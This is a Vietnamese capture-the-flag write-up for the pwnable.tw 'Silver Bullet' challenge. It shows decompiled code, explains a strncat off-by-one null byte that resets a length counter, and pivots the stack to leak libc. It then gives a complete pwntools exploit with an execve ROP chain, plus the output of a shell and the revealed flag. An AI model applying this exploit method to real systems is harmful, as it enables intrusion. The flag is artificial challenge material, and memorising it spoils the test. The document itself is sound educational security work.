Silver Bullet
Vulnerability: Việc sử dụng strncat() không cẩn thận dẫn đến 1 null byte overflow ở cuối, ghi đè bộ đếm gây ra stack buffer overflow.
Recon
Mitigation
$ pwn checksec silver_bullet
[*] '/home/hungnt/ctfs/pwnable.tw/silver-bullet/silver_bullet'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)$ file silver_bullet
silver_bullet: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8c95d92edf8bf47b6c9c450e882b7142bf656a92, not strippedCode
main()
undefined4 main(void)
{
int choice;
Wolf wolf;
Bullet bullet;
init_proc();
bullet.power = 0;
memset(&bullet,0,48);
wolf.hp = 0x7fffffff;
wolf.name = "Gin";
do
{
while( true )
{
while( true )
{
menu();
choice = read_int();
if (choice != 2) break;
power_up(&bullet);
}
if (2 < choice) break;
if (choice == 1)
{
create_bullet(&bullet);
}
else
{
invalid:
puts("Invalid choice");
}
}
if (choice != 3)
{
if (choice == 4)
{
puts("Don\'t give up !");
// WARNING: Subroutine does not return
exit(0);
}
goto invalid;
}
choice = beat(&bullet,&wolf);
if (choice != 0)
{
return 0;
}
puts("Give me more power !!");
} while( true );
}create_bullet()
void create_bullet(Bullet *bullet)
{
size_t len;
if (bullet->description[0] == '\0')
{
printf("Give me your description of bullet :",0);
read_input(bullet->description,48);
len = strlen(bullet->description);
printf("Your power is : %u\n",len);
bullet->power = len;
puts("Good luck !!");
}
else
{
puts("You have been created the Bullet !");
}
return;
}power_up()
void power_up(Bullet *bullet)
{
char buf [48];
size_t len;
len = 0;
memset(buf,0,48);
if (bullet->description[0] == '\0')
{
puts("You need create the bullet first !");
}
else if (bullet->power < 48)
{
printf("Give me your another description of bullet :");
read_input(buf,48 - bullet->power);
strncat(bullet->description,buf,48 - bullet->power);
len = strlen(buf);
len = bullet->power + len;
printf("Your new power is : %u\n",len);
bullet->power = len;
puts("Enjoy it !");
}
else
{
puts("You can\'t power up any more !");
}
return;
}beat()
undefined4 beat(Bullet *bullet,Wolf *wolf)
{
undefined4 wolf_die;
if (bullet->description[0] == '\0')
{
puts("You need create the bullet first !");
wolf_die = 0;
}
else
{
puts(">----------- Werewolf -----------<");
printf(" + NAME : %s\n",wolf->name);
printf(" + HP : %d\n",wolf->hp);
puts(">--------------------------------<");
puts("Try to beat it .....");
usleep(1000000);
wolf->hp = wolf->hp - bullet->power;
if ((int)wolf->hp < 1)
{
puts("Oh ! You win !!");
wolf_die = 1;
}
else
{
puts("Sorry ... It still alive !!");
wolf_die = 0;
}
}
return wolf_die;
}read_input()
ssize_t read_input(char *buf,size_t len)
{
ssize_t cnt;
cnt = read(0,buf,len);
if (cnt < 1)
{
puts("read error");
// WARNING: Subroutine does not return
exit(1);
}
if (buf[cnt + -1] == '\n')
{
buf[cnt + -1] = '\0';
}
return cnt;
}Solve
Vì checksec ko có stack canary, mục tiêu ban đầu của mình là thử tìm buffer overflow trên stack. Và mình tìm được trong power_up() như sau:
else if (bullet->power < 48)
{
printf("Give me your another description of bullet :");
read_input(buf,48 - bullet->power);
strncat(bullet->description,buf,48 - bullet->power);
len = strlen(buf);
len = bullet->power + len;
printf("Your new power is : %u\n",len);
bullet->power = len;
puts("Enjoy it !");
}Giả sử nếu lúc create_bullet() mình chỉ nhập 47 ký tự, ký tự 48 đặt về null, thì khi power_up() mình chỉ nhập được thêm 1 ký tự. Hàm strncat() sẽ tìm vị trí null đầu tiên ở dest, copy đúng n byte bắt đầu của src vào vị trí đó, và “đặt null terminator ở cuối” để đánh đấu kết thúc chuỗi.
Vì trường power nằm ngay liền sau description, hàm sẽ copy nốt 1 ký tự vào byte thứ 48, và đặt null terminator vào ngay byte liền sau, chính là power, dẫn đến power đc đặt về 0, sau đó cộng với len là 1. Vậy thì lần power_up() tiếp theo mình có thể overflow đến 47 bytes đến return address.
Ok có được overflow rồi, nhưng chưa biết địa chỉ libc, binary thì ko có PIE nhưng ko có gadget nào dùng đc cả. Nên mình quyết định thử pivot stack.
Vì chỉ có trong hàm beat() thì mình có chỗ để in ra:
puts(">----------- Werewolf -----------<");
printf(" + NAME : %s\n",wolf->name);
printf(" + HP : %d\n",wolf->hp);
puts(">--------------------------------<");
puts("Try to beat it .....");
usleep(1000000);
wolf->hp = wolf->hp - bullet->power;Nên mình sẽ pivot ebp đến đâu đó trên vùng rw-p của binary sao cho name hoặc hp rơi vào vùng có địa chỉ libc và ghi return address để tiếp tục gọi beat(). Lưu ý rằng vì bullet là biến cục bộ của hàm main(), nên return address mình ghi là của hàm main(), ko phải là của beat(), nên mình cần return ở hàm main(), nghĩa là mình cần phải win ở beat(), là phải fake power cho hợp lý.
Mà làm sao chọn ebp nào phù hợp để pivot đến? GOT á, ko đc, vì FULL RELRO nên lúc cập nhật hp sẽ gây sigsegv, vậy chỉ còn 2 vùng rw-p ở đây.
pwndbg> vmmap silver_bullet
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
► 0x8046000 0x8047000 rw-p 1000 0 silver_bullet_patched
► 0x8048000 0x8049000 r-xp 1000 2000 silver_bullet_patched
► 0x804a000 0x804b000 r--p 1000 3000 silver_bullet_patched
► 0x804b000 0x804c000 rw-p 1000 4000 silver_bullet_patchedBan đầu mình target vùng này 0x8046000 0x8047000, nhưng exploit trên local thì chạy được, trên remote thì ko.
Sau đó mình target 0x804b000 0x804c000 vì có địa chỉ stdin và stdout thì đc, có thể là vùng này ổn định hơn so với trên:
pwndbg> tele 0x804b000 20
00:0000│ 0x804b000 (data_start) ◂— 0
... ↓ 7 skipped
08:0020│ 0x804b020 (stdin@@GLIBC_2.0) —▸ 0xf2e915a0 (_IO_2_1_stdin_) ◂— 0xfbad208b
09:0024│ 0x804b024 (stdout@@GLIBC_2.0) —▸ 0xf2e91d60 (_IO_2_1_stdout_) ◂— 0xfbad2887
0a:0028│ 0x804b028 (completed) ◂— 0
... ↓ 9 skippedChọn đúng ebp để leak libc:

Sau đó mình lại buffer overflow trên này để pivot stack lần nữa, và ghi đè return address để nhảy đến một nơi gọi read(), căn chỉnh sao cho ghi được một ROP chain hoàn chỉnh vào đúng chỗ của esp hiện tại là ngon luôn:

Script
#!/usr/bin/env python3
from pwn import *
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: (int(r, 10) & 0xffffffff) - offset
pad = lambda len=1, c=b'A': c * len
exe = ELF("silver_bullet_patched", checksec=False)
libc = ELF("libc_32.so.6", checksec=False)
ld = ELF("./ld-2.23.so", checksec=False)
context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
# b *0x08048871
# b *0x08048917
b *beat
# b *main+105
set follow-fork-mode parent
set detach-on-fork on
continue
c
finish
c
'''
def conn():
if args.LOCAL:
p = process([exe.path])
sleep(0.1)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(1)
return p
else:
host = "chall.pwnable.tw"
port = 10103
return remote(host, port)
p = conn()
def create_bullet(desc):
slan(p, b'choice', 1)
sa(p, b'of bullet', desc)
def power_up(desc):
slan(p, b'choice', 2)
sa(p, b'of bullet', desc)
def beat():
slan(p, b'choice', 3)
# Stack buffer overflow to pivot stack onto bss (to leak libc)
# and return back to the main loop after winning
create_bullet(pad(47))
power_up(pad())
print("Pivoting stack")
saved_ebp = 0x0804b060
main_loop = 0x08048984
power_up(flat(
pad(3, b'\xff'),
saved_ebp,
main_loop
))
# Buffer overflow on bss for later to pivot stack again and input ROP chain
print("Leaking libc")
beat()
create_bullet(pad(47))
power_up(pad())
read_input = 0x080485f1
saved_ebp = 0x804b058
power_up(flat(
pad(3),
saved_ebp,
read_input,
))
# Leak libc
beat()
ru(p, b'HP : ')
libc.address = leak_dec(rl(p).strip(), libc.symbols['_IO_2_1_stdout_'])
lg("libc base", libc.address)
sleep(1)
# Input rop chain using read_input()
print("ROP")
s(p, flat(
libc.address + 0x00024bec, # nop ; ret
libc.address + 0x00023f97, # pop eax ; ret
0x0b,
libc.address + 0x00018395, # pop ebx ; ret
binsh(libc),
libc.address + 0x000b3eb7, # pop ecx ; ret
0,
libc.address + 0x00001aa6, # pop edx ; ret
0,
libc.address + 0x00002c87 # int 0x80
))
# Profit
print("Spawning shell")
rr(p, 1)
ia(p)$ py solve.py
[+] Opening connection to chall.pwnable.tw on port 10103: Done
Pivoting stack
Leaking libc
libc base -> 0xf7597000
ROP
Spawning shell
[*] Switching to interactive mode
$ cd home
$ ls
silver_bullet
$ cd silver_bullet
$ ls
flag
run.sh
silver_bullet
$ cat flag
FLAG{uS1ng_S1lv3r_bu1l3t_7o_Pwn_th3_w0rld}